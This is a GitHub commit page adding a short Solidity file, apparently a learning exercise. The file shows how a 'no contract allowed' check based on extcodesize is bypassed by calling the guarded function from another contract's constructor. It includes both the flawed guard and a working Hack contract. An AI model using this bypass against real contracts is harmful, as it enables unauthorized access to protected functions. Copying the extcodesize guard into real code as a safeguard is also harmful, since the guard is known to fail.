Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
  • Loading branch information
lenoteddy committed Aug 5, 2024
1 parent 1a0c9cb commit f3b302c
Showing 1 changed file with 37 additions and 0 deletions.
37 changes: 37 additions & 0 deletions Sol.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8;

contract Target {
function isContract(address account) public view returns (bool) {
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}

bool public pwned = false;

function protected() external {
require(!isContract(msg.sender), "no contract allowed");
pwned = true;
}
}

contract FailedAttack {
// Attempting to call Target.protected will fail,
// Target block calls from contract
function pwn(address _target) external {
// This will fail
Target(_target).protected();
}
}

contract Hack {
bool public isContract;

constructor(address _target) {
isContract = Target(_target).isContract(address(this));
Target(_target).protected();
}
}

0 comments on commit f3b302c

Please sign in to comment.